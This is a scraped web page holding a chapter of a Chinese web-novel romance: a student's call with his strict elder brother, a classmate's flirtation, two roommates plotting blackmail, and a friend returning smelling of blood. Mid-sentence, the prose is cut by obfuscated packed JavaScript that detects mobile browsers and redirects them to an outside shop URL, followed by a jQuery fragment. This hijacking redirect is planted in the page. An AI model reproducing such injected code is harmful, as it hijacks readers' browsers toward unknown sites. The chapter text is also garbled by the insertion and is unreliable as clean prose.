12.chapter 12
作品:《日抛男友求生指南[快穿]》 谈芩是个很有生活情趣的人,一面墙上都是各种足以让男生疯狂的模型玩具,旁边桌上则摆着没有拼完的模型零件跟密密麻麻的说明书。
闻屿有些意外,拿起说明书看了几页,没想到居然是外文无翻译版本,他根本看不懂,额头不禁浮现黑线。
他该不会真是个文盲吧?
虽然看不懂说明,闻屿跟机械系学生关系不错,平时也会去蹭课,他拿起几枚零件,这种模型与舰船有异曲同工之处,如果给他点时间,应该能拼出来,只不过需要花费时间与充足的耐心。
不过,他确实对这些模型很感兴趣。
论坛里提起谈芩,大多都是提到他风流不羁的性格,游戏人间的态度,闻屿看得出来,很多话都酸溜溜的,眼光狭隘片面。
真正了解一个人有很多种方法,但绝不可能是从别人嘴里听说。
旁边是音乐室,各种乐器随意放置,看起来杂乱无章,闻屿只站在门口好奇地打量,并没有擅自触碰。
手机一震。
闻屿以为是闵融打来的电话,没看来电人就接通:“你下课了吗?我去接你。”
电话那头的人沉默了几秒,开口声线低沉醇厚,完全是成熟男人的口吻:“小屿,我已经毕业五年了。”
完全陌生的声音。
闻屿懵了下,移开手机看了眼,备注是“大哥”。
他在这世界还有哥哥?
“我以为是室友打来的电话,”闻屿说话难得磕绊了下,语气有点窘,“就没看来电人……”
对面似乎无奈地笑了一下,似乎很了解闻屿的脱线行为,没再计较这事,而是问他在宿舍住得习不习惯,闻屿起初还有些紧张,后来发现这人就是和他聊家常,逐渐放松下来。
男人道:“听说你最近报了马术课。”
闻屿以为他只是单纯问问,便随意“嗯”了声,没想到男人后面又补了一句:
“之前我教你,你差点从马上掉下来,吓得晚上做噩梦,说以后再也不骑了,怎么突然又想学了?”
闻屿:“……”
这么丢脸的事情,绝对不是他做的。
“就,突然又感兴趣了。”闻屿说,“只要小心点就不会掉下去,很安全的,我已经不怕了。”
男人叹了口气,似乎想劝他,最后却没说什么,只道:“想学就学吧,我会给你安排一个可靠的老师。”
闻屿没想到自己还有享受“特权”的一天:“不用特别安排,学校的老师都挺好的。”
对方似乎早已料到闻屿会反抗:“或者我亲自过去教你?”
“……这倒也不必。”闻屿嘟囔道,“我只是不想和其他人不一样。”
越是了解这所学校,他越是讨厌这里的阶级制度,只因这个世界实在太像现实世界了,不近人情的阶级将贵族与贫民划分开来,只会显得冷冰冰的。
“你不用考虑这些。”对方微微叹息,似乎对弟弟总是无可奈何,“我只想你能平平安安的,对了,另外还有件事……”
门开,谈芩走进来,看到闻屿正在通电话,于是没有说话,却坐过去跟他坐在一处。
闻屿靠在小沙发上,这沙发非常弹软,像坐在云朵上,闻屿很喜欢这种感觉。但缺点也很明显,沙发不大,加了一个人进来,未免有些拥挤。
谈芩却似乎很喜欢这种挤在一起的感觉,见闻屿看过来,便露出一个无辜的表情。
“我看到了你上学期的成绩单。”电话那边道,“是谁发誓自己一定会好好学习,绝不挂科,否则就自愿停掉全部的生活费?”
闻屿:“……”
虽然大哥声音不大,但闻屿确信谈芩全都听见了,否则也不会一副憋笑的表情。
这可真是人在家中坐,锅从天上来。闻屿不想承认那不是他考的,但谁会相信呢,他抿起唇,只得道:“别停生活费可以吗?这学期我保证努力学习。”
他要是没钱了,还怎么带闵融吃吃喝喝啊,到时候说不定还得靠闵融接济,里子面子全没了。
闻屿希望这位“大哥”可以松口,但对方显然并不相信:“你上学期也是这么和我说的,结果是什么?”
闻屿:“…………”
闻屿简直想跪了:“我保证努力学习,不要停我的卡。”
“下周末重考,如果你能及格,拿到十绩点,我就不停你的卡,能做到么?”
下周末?那不是只剩一周时间了?闻屿本来就对书本上的东西头疼,他又不是专门学哲学的,怎么可能在这么短的时间内及格。
闻屿试探道:“如果我说不能……”
一提到学习,男人刚才的温柔全没了,淡淡道:“你可以试试。”
闻屿头好大:“你也知道我不聪明,而且我最近还有很多事要做。”
“什么事,说来听听。”
当然是谈恋爱了!
但是闻屿预感这句话不能说,否则对方一定会说,学都不上了跑去谈恋爱,还是停卡吧诸如此类的话。
最终,他只得回道:“好吧,我尽力。”
“乖,如果你能考过,我会给你奖励。”对方显然是打一棍子给个甜枣的模式,听闻屿答应了,语气又变得温柔,“你不是一直很想要那款模型吗?考过就给你。”
电话挂了。
闻屿也想叹气了。
谈芩侧坐着,胳膊撑在沙发靠背上,一手懒洋洋地玩着闻屿的头发,道:“你爸打来的?”
闻屿:“那是我哥!”
“看来你哥很关心你的学业情况。”谈芩挑起唇角,悠悠道,“十绩点可不好拿。不过,我之前说的话现在还算数。”
闻屿想了想,沮丧道:“我还是努力考试吧,要是被我哥发现我弄虚作假,他真的会停掉我的卡。”
谈芩打量闻屿,见他如此认真,沉吟片刻:“需要我帮你补习么?”
闻屿:“你不是学音乐的吗?我们不是一个专业。”
谈芩:“我对哲学也略懂一二。”
闻屿不太相信地看着他。
谈芩又道:“还能帮你搞来学长的重点笔记。”
闻屿眼睛顿时亮了起来:“真的?”
总算心动了。
谈芩揉了揉闻屿的头发,道:“这是定金。”
“还要掏钱吗?”闻屿傻乎乎地问。
“后面当然需要你付尾款了。”谈芩挑起唇角,“至于是什么,之后再告诉你。走吧,该吃饭了。”
两人离开房间,沈昼仍旧坐在原位,似乎在忙事情。闻屿看了几眼,被谈芩轻轻捏了捏脖颈,一个激灵转回去。
“不用跟沈……会长打声招呼吗?”闻屿小声道。
“他忙得很,可没时间帮你找试卷。”谈芩不知是有意无意,故意凑到闻屿耳畔,呼出的热气全吹进闻屿耳朵里,轻笑道,“也没空帮你补习。”
大门重重关上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458907|201244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,室内恢复往日的沉寂。
沈昼的眼神仍旧落在电脑屏幕上,手下动作却越来越缓。
片刻后,他微微闭上了眼睛。
直到一声来电打破死寂。
沈昼定定地望着屏幕,不知道在想些什么,半晌才接起电话。
闵融应该已经上完课了,闻屿给他发短信没回,电话也没人接,回到宿舍,只有那俩小弟在。
闻屿问:“你们看到闵融了吗?”
“我怎么知道那个恶……”紫毛说着,有点害怕闻屿再惩罚他们,只能心不甘情不愿地改口,“不清楚,他一直独来独往,谁知道干什么去了。”
这就有点奇怪了。
明明上午还能短信联络,难道是出什么事了?
“闻哥,那家伙到底有什么好的,总不能是突然变成了大家族流落在外的少爷吧。”绿毛愤愤道,“他就是个孤儿,要不是被人收养,怎么可能上得起圣德利安?真是够晦气的。”
闻屿尝试跟他们说闵融生活的艰难,得到的却是毫无同情的嘲笑,不知人间疾苦的贵族少爷怎么可能与贫民感同身受?即便可以,他们也不愿意,仿佛会沾染上污秽似的。
在闻屿不停拨打电话的时候,绿毛跟紫毛对了个眼神,两人悄悄走出宿舍,站在楼梯口抽烟。
“看来闻屿真打算抛弃咱俩,跟闵融搬出去。”紫毛吞云吐雾,语气阴森,“用咱俩的时候倒是好说话,不想用了就把咱们当垃圾丢出去,我可咽不下这口气。”
“你想做什么?他可是闻家小少爷,要是出了什么事,你不怕闻家找你算账!”绿毛立刻道,“你要干什么我不管,别扯到我头上来。”
“我只是想过得好点,这有错吗?”紫毛冷笑道,“他最近不是和谈芩打得火热吗,如果我拍到他跟其它男人的亲密照片,以谈芩的脾气,他肯定会把闻屿往死里整。”
绿毛不明白他是什么意思:“为什么要这么做?”
“你傻啊,我们只要告诉闻屿,如果不听咱俩的,就把照片发给谈芩,他肯定会乖乖就范,他就是个单纯的小少爷,到时候肯定会害怕得发抖,咱俩不就能得到银徽章了吗?”
两人窃窃私语,而在拐角处的阴影里,一双眼睛正盯着他们,看向两人的眼中没有丝毫情绪,仿佛在看一个死物。
直到那两人离开宿舍楼,那人才从阴影中走出来,缓缓走进宿舍楼。
闻屿正着急,差点就要发寻人启事了,一转身,看到站在门口的闵融。
他依旧穿着那件洗得近乎发白的黑卫衣,戴着兜帽,半长的头发遮住眉眼,脸色苍白,露出来的眼瞳黑漆漆的,仿佛照不进光,看上去阴森渗人。
“你怎么才回来,我想找你一起吃饭的。”闻屿却没有被他周身的阴郁气质吓退,反倒迎上去,打量他,“出什么事了?”
闵融缓缓摇头,跟机器人生锈了似的,他开口声音依旧嘶哑低沉:“我没事。”
闻屿像是察觉到了什么,忽地上前一步,俯身去嗅闵融的脖颈。
这一动作猝不及防,闵融立刻后退一步,像是被吓到了似的,脖子一瞬间红了起来。
闻屿犹豫道:“你是不是……”
闵融硬邦邦道:“别靠近我,我不喜欢。”
说完,他将背包往桌上重重一撂,转身进了浴室。
留下闻屿站在原地,仍旧皱着眉思考。
他刚才好像闻到了……血的气息?

